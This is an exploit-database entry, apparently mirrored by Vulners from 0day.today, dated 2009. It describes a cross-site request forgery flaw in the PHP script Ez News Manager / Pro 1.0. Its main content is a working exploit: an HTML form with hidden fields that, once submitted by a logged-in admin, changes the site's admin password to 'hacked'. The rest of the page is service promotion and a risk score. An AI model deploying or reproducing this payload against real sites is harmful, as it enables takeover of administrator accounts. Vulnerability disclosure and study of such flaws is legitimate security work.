Lucene search

K

Ez News Manager / Pro CSRF Change Admin Password

🗓️ 15 Dec 2009 00:00:00Reported by Milos ZivanovicType 
zdt
 zdt
🔗 0day.today👁 12 Views

Ez News Manager Pro CSRF Change Admin Password vulnerability in PHP platfor

Show more
Code
================================================
Ez News Manager / Pro CSRF Change Admin Password
================================================

[#-----------------------------------------------------------------------------------------------#]
[#] Application: Ez News Manager / Ez News Manager Pro
[#] Version: 1.0
[#] Platform: PHP
[#] Link[Pro]: http://www.scriptsez.net/?action=details&cat=News%20Publishing&id=2154687026
[#] Price: 15 USD
[#] Link: http://www.scriptsez.net/?action=details&cat=News%20Publishing&id=1194243816
[#] Price: 10 USD
[#] Vulnerability: XSRF Change Admin Password
[#-----------------------------------------------------------------------------------------------#]
 
Ez News Manager and Ez News Manager Pro scripts lack of cross site
request forgery protection, allowing us to make exploit to change
admin password. This exploit works with both scripts:
 
[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://server/enmp/admin.php?action=change_password"
method="post">
  <input type="hidden" name="n_pwd" value="hacked">
  <input type="hidden" name="new_pwd" value="hacked">
  <input type="submit" name="submit" value="Submit">
</form>
[EXPLOIT------------------------------------------------------------------------------------------]



#  0day.today [2018-03-14]  #

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
15 Dec 2009 00:00Current
7.1High risk
Vulners AI Score7.1
12
.json
Report